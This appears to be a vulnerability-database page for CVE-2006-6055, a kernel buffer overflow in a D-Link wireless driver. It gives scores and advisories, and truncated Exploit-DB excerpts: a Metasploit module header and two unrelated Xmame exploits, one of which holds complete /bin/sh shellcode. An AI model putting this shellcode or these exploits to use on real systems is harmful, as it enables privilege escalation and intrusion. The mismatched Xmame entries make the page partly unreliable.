CVE-2006-6055
published 2006-11-22CVE-2006-6055: Stack-based buffer overflow in A5AGU.SYS 1.0.1.41 for the D-Link DWL-G132 wireless adapter allows remote attackers to execute arbitrary code via a 802.11…
PriorityP351critical10CVSS 2.0
AVNACLAuNCCICAC
EXPLOIT
EPSS
5.82%
92.2th percentile
Stack-based buffer overflow in A5AGU.SYS 1.0.1.41 for the D-Link DWL-G132 wireless adapter allows remote attackers to execute arbitrary code via a 802.11 beacon request with a long Rates information element (IE).
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
VulDB
D-Link DWL-G132 1.0.1.41 stack-based overflow (BID-21032 / SA22860)
vuldb·2026-04-28·CVSS 10.0
CVE-2006-6055 [CRITICAL] D-Link DWL-G132 1.0.1.41 stack-based overflow (BID-21032 / SA22860)
A vulnerability has been found in D-Link DWL-G132 1.0.1.41 and classified as critical. This affects an unknown function. Performing a manipulation results in stack-based buffer overflow.
This vulnerability was named CVE-2006-6055. The attack may be initiated remotely. In addition, an exploit is available.
GHSA
GHSA-f8w3-7f86-fvgw: Stack-based buffer overflow in A5AGU
ghsa_unreviewed·2022-05-01
CVE-2006-6055 [HIGH] GHSA-f8w3-7f86-fvgw: Stack-based buffer overflow in A5AGU
Stack-based buffer overflow in A5AGU.SYS 1.0.1.41 for the D-Link DWL-G132 wireless adapter allows remote attackers to execute arbitrary code via a 802.11 beacon request with a long Rates information element (IE).
No detection rules found.
Exploit-DB
D-Link DWL-G132 - Wireless Driver Beacon Rates Overflow (Metasploit)
exploitdb·2006-11-13
CVE-2006-6055 D-Link DWL-G132 - Wireless Driver Beacon Rates Overflow (Metasploit)
D-Link DWL-G132 - Wireless Driver Beacon Rates Overflow (Metasploit)
---
##
# $Id: dlink_wifi_rates.rb 9670 2010-07-03 03:19:07Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 'D-Link DWL-G132 Wireless Driver Beacon Rates Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the A5AGU.SYS driver provided
with the D-Link DWL-G132 USB wireless adapter. This stack buffer overflow
allows remote code execution in kernel mode. The stack buffer overflow is triggered
when a 802.11 Beacon frame is received that cont
Exploit-DB
Xmame 0.102 - 'lang' Local Buffer Overflow
exploitdb·2006-01-13
CVE-2006-0176 Xmame 0.102 - 'lang' Local Buffer Overflow
Xmame 0.102 - 'lang' Local Buffer Overflow
---
/*
Xmame 0.102 (-lang) Local Buffer Overflow Exploit
Coded BY Qnix
[email protected]
#0x11 @EFNET
icq : 234263
0x11.org
Advisory : http://kerneltrap.org/node/6055
e.g:
Qnix ~ # ./exploit /usr/games/bin/xmame.x11
Xmame 0.102 (-lang) Local Buffer Overflow Exploit
Coded BY Qnix
(~) Stack pointer (ESP) : 0xbffff688
(~) Offset from ESP : 0x0
(~) Desired Return Addr : 0xbffff688
GLINFO: loaded OpenGL library libGL.so!
GLINFO: loaded GLU library libGLU.so!
GLINFO: glPolygonOffsetEXT (2): not implemented !
info: trying to parse: /usr/share/games/xmame/xmamerc
info: trying to parse: /root/.xmame/xmamerc
info: trying to parse: /usr/share/games/xmame/xmame-x11rc
info: trying to parse: /root/.xmame/xmame-x11rc
info: trying to parse: /usr/share/games/
Exploit-DB
Xmame 0.102 - '-lang' Local Buffer Overflow
exploitdb·2006-01-10
CVE-2006-0176 Xmame 0.102 - '-lang' Local Buffer Overflow
Xmame 0.102 - '-lang' Local Buffer Overflow
---
#!/usr/bin/ruby
#
# One of the PoC code for xmame "-lang" options.
# Advisory is base on : http://kerneltrap.org/node/6055
#
# by xwings at mysec dot org
# url : http://www.mysec.org , new website
# Tested on :
# Linux debian24 2.4.27-2-386 #1 Mon May 16 16:47:51 JST 2005 i686 GNU/Linux
# gcc version 4.0.3 20060104 (prerelease) (Ubuntu 4.0.2-6ubuntu1)
# xmame 0.102 , ./configure && make && make install
#
#setreuid(geteuid(),geteuid()) execl(); executes /bin//sh 49 bytes.
shellcode = "\x31\xc9\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0"+
"\x46\xcd\x80\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"+
"\x6e\x89\xe3\x51\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xb0\x01"+
"\x31\xdb\xcd\x80"
vulnpath = "/usr/games/xmame.x11"
argvopt = "-
No writeups or analysis indexed.
http://projects.info-pull.com/mokb/MOKB-13-11-2006.htmlhttp://secunia.com/advisories/22860http://securitytracker.com/id?1017215http://www.securityfocus.com/bid/21032http://www.vupen.com/english/advisories/2006/4488http://projects.info-pull.com/mokb/MOKB-13-11-2006.htmlhttp://secunia.com/advisories/22860http://securitytracker.com/id?1017215http://www.securityfocus.com/bid/21032http://www.vupen.com/english/advisories/2006/4488
2006-11-22
Published